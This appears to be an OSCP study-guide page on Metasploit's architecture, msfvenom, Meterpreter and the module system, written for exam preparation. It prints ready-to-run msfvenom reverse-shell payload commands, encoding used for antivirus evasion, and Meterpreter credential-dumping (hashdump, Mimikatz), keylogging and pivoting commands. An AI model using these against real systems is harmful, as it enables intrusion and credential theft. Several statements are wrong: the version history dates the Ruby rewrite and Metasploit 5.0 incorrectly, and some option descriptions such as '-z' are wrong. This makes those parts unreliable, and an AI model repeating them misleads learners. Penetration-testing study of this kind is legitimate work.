Domain 5Pivoting & MetasploitCORE

Metasploit Architecture and Components

Comprehensive overview of the Metasploit Framework architecture, core components, directory structure, and how each part contributes to penetration testing workflows in the OSCP exam context.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-01
#metasploit#architecture#components#msfconsole#framework

Metasploit Architecture and Components

1. What is Metasploit?

1.1 History and Evolution

Metasploit is arguably the most widely recognized and utilized penetration testing framework in the cybersecurity industry. Its journey began in 2003 when HD Moore released the original Metasploit as an open-source project built with Perl. The initial goal was to create a modular, extensible framework that could help security professionals test the exploitability of systems in a controlled manner.

The framework underwent several significant transformations:

Year Milestone Significance
2003 HD Moore releases Metasploit 1.0 Open-source Perl-based framework
2005 Metasploit 2.0 released Rewritten in Ruby, improved architecture
2006 HD Moore joins Rapid7 Corporate backing begins
2007 Metasploit 3.0 released Major architectural overhaul, module system introduced
2009 Metasploit Community Edition launched Free tier with database integration
2011 Metasploit 4.0 released Enhanced API, improved performance
2015 Metasploit 5.0 released Modernized UI, improved module management
2017 msfpayload and msfencode merged into msfvenom Simplified payload generation
2020+ Continuous updates Regular module additions, security patches

1.2 Rapid7 and the Metasploit Ecosystem

Rapid7 acquired Metasploit and has since maintained both the open-source Community Edition and the commercial Pro/Enterprise editions. This dual-model approach ensures that:

  • The community benefits from a freely available, powerful tool
  • Enterprise customers get advanced features, analytics, and support
  • Continuous development is funded through commercial subscriptions

1.3 Why Metasploit Matters for OSCP

Metasploit is ubiquitous in the OSCP exam environment for several reasons:

  1. Pre-installed on Kali Linux: The exam VM comes with Metasploit pre-configured, making it immediately available
  2. Exploit verification: Many exploits from Exploit-DB are designed to work with Metasploit
  3. Post-exploitation: Meterpreter provides powerful post-exploitation capabilities essential for privilege escalation and pivoting
  4. Time efficiency: In a time-constrained exam, Metasploit can accelerate exploitation when manual exploitation is complex
  5. Reliability: Well-tested modules reduce the risk of crashes during critical exam moments

OSCP Tip: While the exam encourages manual exploitation, Metasploit is perfectly acceptable and often the most efficient approach. Focus on understanding how to use it effectively rather than avoiding it entirely.


2. Architecture Overview

2.1 Layered Architecture

Metasploit follows a layered architecture design pattern, where each layer has specific responsibilities and communicates with adjacent layers through well-defined interfaces. This modular design allows for easy extension, maintenance, and independent development of components.

┌─────────────────────────────────────────────────────────────┐
│                      UI Layer                                │
│  ┌──────────────┐  ┌──────────────┐  ┌──────────────────┐   │
│  │  msfconsole   │  │  msfweb      │  │  msfrpc (API)    │   │
│  │  (CLI)       │  │  (Web UI)    │  │  (Remote Access) │   │
│  └──────────────┘  └──────────────┘  └──────────────────┘   │
├─────────────────────────────────────────────────────────────┤
│                   Core Framework Layer                       │
│  ┌────────────┐ ┌────────────┐ ┌──────────┐ ┌───────────┐  │
│  │  Database  │ │  Workspace │ │  Logger  │ │  Config   │  │
│  │  (Postgres)│ │  Manager   │ │  System  │ │  Manager  │  │
│  └────────────┘ └────────────┘ └──────────┘ └───────────┘  │
├─────────────────────────────────────────────────────────────┤
│                     Module System Layer                      │
│  ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌───────────────┐  │
│  │  Exploits │ │  Payloads │ │  Auxiliaries │ │ Post Exploit │  │
│  │          │ │          │ │            │ │              │  │
│  └──────────┘ └──────────┘ └──────────┘ └───────────────┘  │
│  ┌──────────┐ ┌──────────┐ ┌──────────┐                     │
│  │  Encoders │ │  Nops    │ │  Targets │                     │
│  └──────────┘ └──────────┘ └──────────┘                     │
├─────────────────────────────────────────────────────────────┤
│                   External Services Layer                    │
│  ┌──────────────┐ ┌──────────────┐ ┌────────────────────┐   │
│  │  PostgreSQL   │ │  Metasm      │ │  External Scripts  │   │
│  │  (Database)   │ │  (Shellcode) │ │  (Python, Bash, etc)│  │
│  └──────────────┘ └──────────────┘ └────────────────────┘   │
└─────────────────────────────────────────────────────────────┘

2.2 Data Flow Between Components

Understanding the data flow is critical for troubleshooting and effective usage:

User Input (msfconsole)
        │
        ▼
┌───────────────┐
│  Command      │
│  Parser       │
└───────┬───────┘
        │
        ▼
┌───────────────┐     ┌───────────────┐
│  Module       │◄────│  Database      │
│  Loader       │     │  (PostgreSQL)  │
└───────┬───────┘     └───────────────┘
        │
        ▼
┌───────────────┐     ┌───────────────┐
│  Module       │────►│  Target      │
│  Executor     │     │  System      │
└───────┬───────┘     └───────────────┘
        │
        ▼
┌───────────────┐
│  Session      │
│  Handler      │
└───────┬───────┘
        │
        ▼
┌───────────────┐
│  Meterpreter  │
│  / Shell      │
└───────────────┘

2.3 How msfconsole Communicates with Modules

When you interact with msfconsole, the following sequence occurs:

  1. Command Input: User types a command (e.g., use exploit/windows/smb/ms17_010_eternalblue)
  2. Command Parsing: The CLI parser interprets the command and routes it to the appropriate handler
  3. Module Loading: The framework loads the specified module from disk into memory
  4. Configuration: User sets options (RHOSTS, PAYLOAD, etc.)
  5. Validation: The framework validates all required options are set
  6. Execution: The exploit module runs, potentially spawning a payload
  7. Session Management: If successful, a new session is created and tracked
  8. Database Sync: Results are synced to PostgreSQL (if connected)

3. Core Components Deep Dive

3.1 msfconsole - The Command-Line Interface

msfconsole is the primary entry point for interacting with the Metasploit Framework. It provides a rich, interactive command-line interface with tab completion, history, and context-sensitive help.

Key Features

Feature Description OSCP Relevance
Tab Completion Auto-completes commands, module paths, and option names Speeds up workflow significantly
Context-Sensitive Help help shows different options based on current context Essential for learning module options
Workspace Management Multiple workspaces for organizing engagements Useful for multi-target exams
Database Integration Real-time sync with PostgreSQL Tracks hosts, services, and vulnerabilities
Session Management Manage multiple concurrent sessions Critical for handling multiple compromised systems
Macro Support Automate repetitive tasks Can save time during exam

Essential msfconsole Commands

# Start msfconsole
msfconsole

# Search for modules
search eternalblue
search smb windows

# Use a module
use exploit/windows/smb/ms17_010_eternalblue

# Show module information
info
options
advanced

# Set options
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5

# Exploit
exploit
run
# Note: 'run' and 'exploit' are aliases

# Session management
sessions -l          # List all sessions
sessions -i 1        # Interact with session 1
sessions -k 1        # Kill session 1
sessions -u 1        # Upgrade session (shell to meterpreter)

# Background current session
background
bg

# Exit msfconsole
exit
quit

OSCP Tip: Use sessions -u to upgrade a basic shell to Meterpreter when possible. Meterpreter provides far more capabilities for post-exploitation tasks.

3.2 msfvenom - The Payload Generator

msfvenom is the unified payload generation tool that replaced both msfpayload and msfencode in Metasploit 5.0+. It combines payload creation and encoding into a single, streamlined tool.

Evolution

msfpayload (create payload) + msfencode (encode/obfuscate)
              └─────────────────────────────────────────────┘
                                    ▼
                              msfvenom (unified tool)

Core Capabilities

Capability Description Example
Payload Generation Create standalone payloads msfvenom -p windows/x64/meterpreter/reverse_tcp
Format Selection Output as various formats -f exe, -f raw, -f elf, -f asp
Encoding Apply encoders to evade detection -e x86/shikata_ga_nai -i 3
Bad Character Handling Specify characters to avoid -b '\x00\x0a\x0d'
Platform Targeting Generate for specific platforms -p linux/x86/meterpreter/reverse_tcp

Common msfvenom Commands for OSCP

# Windows reverse TCP Meterpreter (EXE)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4443 -f exe -o payload.exe

# Windows reverse TCP Meterpreter (Shellcode)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4443 -f c

# Linux reverse TCP Meterpreter (ELF)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4443 -f elf -o payload.elf

# PHP reverse shell (for web shells)
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.5 LPORT=4443 -f raw > shell.php

# ASP reverse shell (for IIS servers)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4443 -f asp > shell.asp

# JSP reverse shell (for Java servers)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.5 LPORT=4443 -f raw > shell.jsp

# PowerShell reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4443 -f psh

# With encoding and bad character avoidance
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4443 -e x86/shikata_ga_nai -i 5 -b '\x00\x0a\x0d\x20' -f exe -o encoded_payload.exe

# Generate a Windows reverse shell as a Python script
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4443 -f py > payload.py

# Generate a Windows reverse shell as a Bash command
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4443 -f bash

msfvenom Option Reference

Option Description Example
-p, --payload Payload to use -p windows/meterpreter/reverse_tcp
-f, --format Output format -f exe, -f elf, -f raw
-e, --encoder Encoder to use -e x86/shikata_ga_nai
-i, --iterations Encoding iterations -i 3
-b, --bad-chars Characters to avoid -b '\x00\x0a\x0d'
-a, --arch Target architecture -a x86, -a x64
-n, --nopsled NOP sled size -n 50
-o, --out Output file -o payload.exe
-l, --list List resources -l payloads, -l encoders, -l formats
-c, --cmd Append command to payload -c "whoami"

OSCP Tip: Always test your payload in a controlled environment before using it on exam machines. Some formats or encodings may not work as expected on certain systems.

3.3 PostgreSQL - The Database Backend

Metasploit uses PostgreSQL as its database backend to store and organize engagement data. This integration transforms Metasploit from a simple exploit framework into a comprehensive penetration testing platform.

What PostgreSQL Stores

Data Type Description OSCP Usage
Hosts IP addresses, operating systems, MAC addresses Track all discovered targets
Services Running services, ports, banners Identify attack surfaces
Vulnerabilities Detected vulnerabilities with references Prioritize exploitation
Credentials Discovered usernames and passwords Reuse across targets
Notes Manual and automated notes Document findings
Loot Captured files, hashes, and data Organize stolen data
Sessions Active and past sessions Track progress
Workspace Organizational containers Separate engagements

Database Commands in msfconsole

# Start the PostgreSQL service (if not running)
service postgresql start

# Connect to the database
db_connect

# Or connect with credentials
db_connect username:password@127.0.0.1/acme

# List workspaces
workspace -l

# Create a new workspace
workspace -a exam_target_1

# Switch workspace
workspace exam_target_1

# Delete a workspace
workspace -d exam_target_1

# Nmap integration - results go directly to database
db_nmap -sV -sC 192.168.1.0/24
db_nmap -A -T4 192.168.1.100

# Query the database
hosts            # List all hosts
services         # List all services
vulns            # List all vulnerabilities
creds            # List all credentials
notes            # List all notes
loot             # List all loot

# Filter hosts
hosts -S /windows/    # Windows hosts only
hosts -R               # Ready hosts (with services)

# Export database
db_export -f xml -o report.xml
db_export -f html -o report.html

# Disconnect from database
db_disconnect

Database-Aware Module Features

When connected to a database, modules gain additional capabilities:

# Auto-set targets from database
set TARGETS $hosts
set SRVHOST $self

# Use database for host discovery
use auxiliary/scanner/discovery/udp_dns
set RHOSTS 192.168.1.0/24
run
# Results automatically stored in database

OSCP Tip: Using db_nmap instead of regular nmap saves time by automatically storing results. You can then use hosts and services commands to quickly identify targets without parsing nmap output manually.

3.4 Meterpreter - The Advanced Payload

Meterpreter is Metasploit’s most powerful and versatile payload. It is an in-memory payload that provides a rich, interactive shell with extensive post-exploitation capabilities.

Why Meterpreter is Critical

  1. In-Memory Execution: Runs entirely in memory, leaving minimal traces on disk
  2. Dynamic Extension: New features can be loaded dynamically without restarting
  3. Multi-Platform Support: Available for Windows, Linux, macOS, and more
  4. Advanced Capabilities: File system access, keylogging, screenshot capture, privilege escalation, pivoting
  5. Stabilized Sessions: More reliable than standard shells, with automatic reconnection

Meterpreter vs Standard Shell

Feature Standard Shell Meterpreter
Execution On-disk binary In-memory only
File Operations Limited by shell Full API-level access
Privilege Escalation Manual only Built-in modules
Pivoting Manual configuration Built-in routing
Keylogging Not available Built-in
Screenshots Not available Built-in
Process Injection Manual Built-in
Stability Connection drops = lost Auto-reconnect support
Detection Easier to detect Harder to detect

Essential Meterpreter Commands

# Basic system information
sysinfo
getuid
getsystem          # Attempt privilege escalation to SYSTEM

# File system operations
ls
cd /path/to/dir
download C:\target\file.txt ./local/
upload /local/file.txt C:\target\
search -f *.txt -d C:\
edit C:\target\file.txt   # Open file in editor

# Process management
ps
migrate 1234             # Migrate to process PID 1234
kill 1234                # Kill process PID 1234
execute -f cmd.exe -i -H # Execute cmd.exe interactively, hidden

# Post-exploitation modules
use incognito            # Load incognito extension
list_tokens -u           # List available tokens
impersonate_token DOMAIN\\user

# Credential harvesting
hashdump                 # Dump SAM hashes (requires admin)
kiwi_cmd                 # Load Mimikatz (requires admin)
# Then use Mimikatz commands:
#   privilege::debug
#   sekurlsa::logonpasswords

# Network and pivoting
ipconfig
route print
run get_local_subnets

# Add route for pivoting
route add 10.10.20.0 255.255.255.0 1
route add 10.10.20.0 255.255.255.0 1 -s  # Also add to system routes

# Screenshot and keylogging
screenshot
keyscan_start
keyscan_dump
keyscan_stop

# Run system commands
shell                    # Drop to system shell
execute -f cmd.exe -i    # Execute cmd.exe interactively

# Background Meterpreter
# Press Ctrl+Z then type 'bg'
# Or use the 'background' command
background

# Return to Meterpreter from msfconsole
sessions -i 1

Meterpreter Transport Options

Transport Description Use Case
reverse_tcp Target connects back to attacker Most common, works through most firewalls
reverse_https Encrypted reverse connection Evades basic inspection
reverse_http HTTP-based reverse connection Evades firewalls that allow HTTP
bind_tcp Listener on target When inbound connections are blocked
reverse_tcp_uuid Reverse TCP with UUID tracking Multi-handler scenarios

OSCP Tip: Always try getsystem after obtaining a Meterpreter session. If it fails, try migrating to a higher-privilege process first using migrate. Also, run post/multi/recon/local_exploit_suggester can suggest privilege escalation exploits specific to the target system.

3.5 Metasm - The Shellcode Generation Framework

Metasm is the assembly and shellcode generation framework that powers Metasploit’s payload generation. It is responsible for:

  • Converting high-level payload specifications into machine code
  • Generating position-independent code (PIC) for shellcode
  • Handling architecture-specific assembly (x86, x64, ARM, etc.)
  • Optimizing shellcode size and avoiding bad characters

How Metasm Works

Payload Specification (Ruby)
         │
         ▼
┌──────────────────┐
│  Metasm Compiler  │
│  (Assembly Gen)   │
└────────┬─────────┘
         │
         ▼
┌──────────────────┐
│  Shellcode        │
│  (Machine Code)   │
└────────┬─────────┘
         │
         ▼
┌──────────────────┐
│  Encoder         │
│  (Polymorphic)   │
└────────┬─────────┘
         │
         ▼
   Final Shellcode
   (Ready for injection)

Key Metasm Features

Feature Description
Multi-Architecture Supports x86, x64, ARM, MIPS, PowerPC, and more
Bad Character Avoidance Automatically generates shellcode without specified bytes
Size Optimization Minimizes shellcode size for buffer overflow constraints
Position Independence Generates code that runs from any memory location
Dynamic Stubs Generates transport-specific connection stubs

Metasm in Practice

# List available architectures
msfvenom -l archs

# Generate shellcode for specific architecture
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4443 -a x86 --platform windows -f c

# Generate with specific bad characters
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4443 -b '\x00\x0a\x0d\x20' -f c

# Check shellcode size
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4443 -f raw | wc -c

3.6 msfrpc - The RPC Interface

msfrpc (Metasploit RPC Server) provides a programmatic interface to control Metasploit remotely. This enables:

  • Integration with external tools and scripts
  • Automation of penetration testing workflows
  • Development of custom Metasploit clients
  • API-based interaction with the framework

Starting msfrpcd

# Start the RPC server
msfrpcd -P mypassword -a 127.0.0.1 -p 55552

# Options:
# -P : Password for authentication
# -a : Bind address
# -p : Port number
# -U : Username (default: msf)

Using msfrpc from Python

from msfrpc import MSFRPC

# Connect to msfrpcd
client = MSFRPC(msf_uri='http://127.0.0.1:55552', username='msf', password='mypassword')

# List modules
modules = client.modules.list()

# Load a module
module = client.modules.load('exploit/multi/handler')

# Set options
client.call('module.option.values', 'exploit/multi/handler', {
    'PAYLOAD': 'windows/meterpreter/reverse_tcp',
    'LHOST': '192.168.1.5',
    'LPORT': '4443'
})

# Run the module
job = client.modules.run('exploit/multi/handler')

Note: msfrpc is more relevant for advanced automation and tool integration. For OSCP purposes, understanding its existence is sufficient.


4. Directory Structure

4.1 Full Metasploit Framework Directory Breakdown

/opt/metasploit-framework/
│
├── README.md                    # Project documentation
├── CONTRIBUTORS                 # Contributor list
├── Gemfile                      # Ruby dependency specifications
├── metasploit-framework.gemspec # Gem specification file
│
├── bin/                         # Executable scripts
│   ├── msfconsole              # Main console application
│   ├── msfvenom                # Payload generator
│   ├── msfrpcd                 # RPC server
│   ├── msfdb                   # Database management
│   ├── armitage                # GUI front-end launcher
│   └── ...
│
├── lib/                         # Core library code (Ruby)
│   ├── msfcore.rb              # Core framework classes
│   ├── msfenv.rb               # Environment setup
│   └── rex/                    # Rex library (core utilities)
│       ├── text/               # Text processing utilities
│       ├── proto/              # Protocol implementations
│       ├── socket/             # Socket utilities
│       └── ...
│
├── modules/                     # All Metasploit modules
│   ├── exploit/                # Exploit modules
│   │   ├── windows/           # Windows exploits
│   │   ├── linux/             # Linux exploits
│   │   ├── unix/              # Unix exploits
│   │   ├── multi/             # Multi-platform exploits
│   │   ├── android/           # Android exploits
│   │   ├── bsd/               # BSD exploits
│   │   ├── solaris/           # Solaris exploits
│   │   └── ...
│   │
│   ├── payload/                # Payload modules
│   │   ├── windows/           # Windows payloads
│   │   ├── linux/             # Linux payloads
│   │   ├── python/            # Python payloads
│   │   ├── php/               # PHP payloads
│   │   ├── java/              # Java payloads
│   │   └── ...
│   │
│   ├── auxiliary/              # Auxiliary modules
│   │   ├── scanner/           # Scanner modules
│   │   ├── admin/             # Admin modules
│   │   ├── dos/               # Denial of service modules
│   │   ├── gather/            # Information gathering
│   │   └── ...
│   │
│   ├── post/                   # Post-exploitation modules
│   │   ├── windows/           # Windows post modules
│   │   ├── linux/             # Linux post modules
│   │   ├── multi/             # Multi-platform post modules
│   │   └── ...
│   │
│   ├── encoder/                # Encoder modules
│   │   ├── x86/               # x86 encoders
│   │   ├── x64/               # x64 encoders
│   │   └── ...
│   │
│   ├── nop/                    # NOP generator modules
│   └── evasion/                # Evasion modules
│
├── data/                       # Static data files
│   ├── wordlists/              # Password and word lists
│   ├── javascript/             # JavaScript resources
│   ├── html/                   # HTML templates
│   └── ...
│
├── config/                     # Configuration files
│   ├── database.yml            # Database configuration
│   └── ...
│
├── docs/                       # Documentation
│   └── ...
│
└── external/                   # External resources
    └── ...

4.2 Key Directory Explanations

Directory Purpose OSCP Relevance
bin/ Contains all executable scripts You’ll use msfconsole and msfvenom from here
lib/ Core Ruby library code Rarely need to modify, but good to understand
modules/ All exploit, payload, and auxiliary modules Most important - this is where all modules live
data/ Static data files including wordlists Useful for custom wordlists
config/ Configuration files Database.yml for PostgreSQL connection

5. Module Directory Organization

5.1 Module Types and Organization

Metasploit modules are organized by type first, then by target platform or protocol. This hierarchical organization makes it easy to find the right module for a specific scenario.

Module Type Hierarchy

modules/
├── exploit/           # Active exploitation modules
│   ├── windows/       # Windows-specific exploits
│   │   ├── smb/       # SMB protocol exploits
│   │   ├── iis/       # IIS web server exploits
│   │   └── ...
│   ├── linux/         # Linux-specific exploits
│   │   ├── kernel/    # Kernel exploits
│   │   └── ...
│   ├── multi/         # Multi-platform exploits
│   │   ├── handler/   # Payload handlers
│   │   └── ...
│   └── ...
│
├── payload/           # Payload modules
│   ├── windows/       # Windows payloads
│   │   ├── meterpreter/ # Meterpreter variants
│   │   └── ...
│   ├── linux/         # Linux payloads
│   └── ...
│
├── auxiliary/         # Non-exploitation modules
│   ├── scanner/       # Scanning modules
│   ├── gather/        # Information gathering
│   └── ...
│
├── post/              # Post-exploitation modules
│   ├── windows/       # Windows post-exploitation
│   └── ...
│
├── encoder/           # Encoding modules
└── nop/               # NOP sled generators

5.2 Module Naming Convention

Metasploit modules follow a consistent naming convention:

[type]/[platform]/[protocol_or_service]/[specific_module]

Examples:

Module Path Type Platform Service Description
exploit/windows/smb/ms17_010_eternalblue Exploit Windows SMB EternalBlue exploit
exploit/multi/http/struts2_content_type_ognl Exploit Multi HTTP Struts2 OGNL injection
auxiliary/scanner/smb/smb_version Auxiliary - SMB SMB version scanner
post/multi/recon/local_exploit_suggester Post Multi - Local exploit suggester
payload/windows/meterpreter/reverse_tcp Payload Windows - Reverse TCP Meterpreter

5.3 Searching Modules Effectively

# Basic search
search eternalblue

# Search by type
search type:exploit smb

# Search by platform
search platform:windows

# Search by target
search target:linux

# Search in description
search desc:buffer overflow

# Combine search terms
search smb windows exploit

# Search with regular expressions
search /ms17.*blue/

OSCP Tip: Use search liberally. If you find an exploit on Exploit-DB, check if Metasploit already has a module for it. This can save significant time during the exam.


6. How Metasploit Works Internally

6.1 The Exploit Lifecycle

The complete exploitation workflow in Metasploit follows a well-defined lifecycle:

┌─────────────────────────────────────────────────────────────────┐
│                    EXPLOIT LIFECYCLE                             │
│                                                                  │
│  1. SEARCH    ──►  2. SELECT   ──►  3. CONFIGURE                │
│     │               │                │                          │
│     ▼               ▼                ▼                          │
│  Find the     Load the       Set all                           │
│  right        module         required                          │
│  module                                │                       │
│                                       ▼                        │
│                              4. EXECUTE   ──►  5. SESSION       │
│                                 │                │              │
│                                 ▼                ▼              │
│                            Run the          Interact            │
│                            exploit          with the           │
│                                           compromised host     │
└─────────────────────────────────────────────────────────────────┘

6.2 Step-by-Step Exploitation Workflow

Step 1: Search for the Module

# Search for a known vulnerability
search ms17_010

# Review search results
#  Name                                      DisclosureDate  Rank       Description
#  ----                                      --------------  ----       ----------
#  exploit/windows/smb/ms17_010_eternalblue  2017-03-14      great      MS17-010 EternalBlue

Step 2: Select the Module

# Load the module
use exploit/windows/smb/ms17_010_eternalblue

# Or use the full path
use exploit/windows/smb/ms17_010_eternalblue

Step 3: Configure Options

# View required options
options

# Output:
# Module options (exploit/windows/smb/ms17_010_eternalblue):
#
#    Name       Current Setting  Required  Description
#    ----       ---------------  --------  -----------
#    RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file
#    RPORT      445             yes       The SMB service port (TCP)
#
# Payload options (windows/x64/meterpreter/reverse_tcp):
#
#    Name      Current Setting  Required  Description
#    ----      ---------------  --------  -----------
#    LHOST                   yes       The listen address
#    LPORT     4443           yes       The listen port

# Set required options
set RHOSTS 192.168.1.100
set LHOST 192.168.1.5
set LPORT 4443

# View advanced options (if needed)
advanced

# Set advanced options
set EnableContextEncoding true
set VERBOSE true

Step 4: Execute the Exploit

# Run the exploit (foreground)
exploit

# Or run in background
exploit -j -z

# Options:
# -j : Run as a job (background)
# -z : Zap (don't leave handler running)

Step 5: Session Management

# List all sessions
sessions -l

# Interact with a session
sessions -i 1

# Kill a session
sessions -k 1

# Upgrade a session
sessions -u 1

# Background current session
background

6.3 Internal Module Execution Flow

When you run an exploit, the following happens internally:

  1. Module Validation: The framework checks if all required options are set
  2. Target Selection: The appropriate target is selected based on configuration
  3. Payload Generation: Metasm generates the shellcode for the specified payload
  4. Exploit Execution: The exploit module’s exploit() method runs
  5. Network Communication: The exploit sends crafted packets to the target
  6. Payload Delivery: If successful, the payload is delivered to the target
  7. Session Creation: A new session object is created and registered
  8. Handler Activation: The payload handler accepts the incoming connection
  9. Session Tracking: The session is tracked in the session manager and database

7. Metasploit Pro vs Community

7.1 Feature Comparison

Feature Community Edition Pro Edition
msfconsole Included Included
msfvenom Included Included
Modules All open-source modules All modules + proprietary
Database PostgreSQL PostgreSQL + enhanced analytics
Web UI Limited Full-featured dashboard
Automated Scanning Manual only Automated vulnerability scanning
Reporting Basic export Professional reports
Team Collaboration No Yes
Compliance Tracking No Yes
Attack Workflows Manual Automated chains
Support Community Professional support
Cost Free Commercial license

7.2 Which One for OSCP?

For the OSCP exam, you will use the Community Edition that comes pre-installed on Kali Linux. This edition includes:

  • All exploit modules needed for the exam
  • Full Meterpreter functionality
  • Database integration
  • msfvenom payload generation
  • All auxiliary and post-exploitation modules

The Pro edition features are not necessary for passing the OSCP exam.


8. OSCP Relevance and Exam Tips

8.1 Why Understanding Architecture Matters

Understanding Metasploit’s architecture provides several advantages during the OSCP exam:

  1. Troubleshooting: When an exploit fails, knowing the architecture helps you identify where the problem lies (payload, network, module configuration, etc.)
  2. Efficiency: Understanding the module system helps you quickly find and configure the right modules
  3. Post-Exploitation: Knowing Meterpreter’s capabilities helps you maximize each compromised session
  4. Database Usage: Understanding PostgreSQL integration helps you organize findings efficiently
  5. Custom Exploits: When Metasploit modules don’t exist, understanding the framework helps you write custom scripts

8.2 Common OSCP Scenarios with Metasploit

Scenario 1: Quick Exploitation of Known Vulnerabilities

# When you find a service with a known exploit
msfconsole
search <vulnerability_name>
use <module_path>
set RHOSTS <target_ip>
set LHOST <your_ip>
exploit

Scenario 2: Payload Generation for Manual Exploits

# When an Exploit-DB script needs a custom payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4443 -f exe -o payload.exe

# Start a handler in msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <your_ip>
set LPORT 4443
exploit

Scenario 3: Privilege Escalation with Meterpreter

# After getting initial access
sessions -i 1
getsystem

# If getsystem fails, try local exploit suggester
run post/multi/recon/local_exploit_suggester

# Then use the suggested exploit
use exploit/<suggested_module>
set SESSION 1
exploit

Scenario 4: Pivoting to Internal Networks

# From a Meterpreter session on a compromised host
ipconfig
# Identify internal network (e.g., 10.10.20.0/24)

# Add route through the session
route add 10.10.20.0 255.255.255.0 1

# Verify route
route print

# Now use auxiliary modules against the internal network
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.20.0/24
run

8.3 Essential Metasploit Commands for OSCP

Command Purpose Frequency of Use
msfconsole Start the framework Every exam
search Find modules Very high
use Load a module Very high
set Configure options Very high
exploit / run Execute module Very high
sessions -l List sessions High
sessions -i Interact with session High
background Background session High
msfvenom Generate payloads High
db_nmap Nmap with DB integration Medium
hosts / services Query database Medium
getsystem Privilege escalation High
migrate Process migration Medium
route add Pivoting Medium

8.4 Common Pitfalls and Solutions

Pitfall Symptom Solution
Wrong LHOST Payload can’t connect back Verify your attacker IP address
Firewall blocking Connection refused Try different ports (443, 8080, etc.)
Antivirus detection Payload killed Use encoding or different payload
Wrong architecture Crash on execution Match payload architecture to target
Session timeout Session dies Use set AutoRunScript for persistence
Database not connected Commands fail Run db_connect first
Module not found Use fails Update Metasploit with msfupdate

8.5 Best Practices for OSCP

  1. Always verify your LHOST: Double-check that your listener IP is correct
  2. Use the database: db_nmap saves time and organizes findings
  3. Try multiple payloads: If one doesn’t work, try another
  4. Document everything: Use the database notes feature or external documentation
  5. Be patient with exploits: Some take time to execute; don’t interrupt prematurely
  6. Have a handler ready: Start exploit/multi/handler before delivering payloads
  7. Upgrade sessions: Always try to upgrade from shell to Meterpreter
  8. Check for pivoting: After each compromise, check for internal networks

Summary

Metasploit Framework is a powerful, modular penetration testing platform that plays a central role in the OSCP exam. Understanding its architecture—from the layered design to the module system—enables you to use it more effectively and troubleshoot issues when they arise.

Key Takeaways

  • msfconsole is your primary interface; master its commands
  • msfvenom is your payload generation tool; know the common formats
  • Meterpreter is your most powerful post-exploitation tool; learn its commands
  • PostgreSQL integration organizes your findings; use db_nmap
  • Module organization follows a logical hierarchy; learn to search effectively
  • The exploit lifecycle is consistent: search → select → configure → execute → session
  1. Practice using msfconsole with each command
  2. Generate various payloads with msfvenom
  3. Practice Meterpreter commands in a lab environment
  4. Use the database for organizing scan results
  5. Practice pivoting scenarios
  6. Time yourself on common exploitation workflows

Mastering Metasploit will significantly accelerate your progress during the OSCP exam, allowing you to focus on deeper post-exploitation tasks rather than spending time on basic exploitation.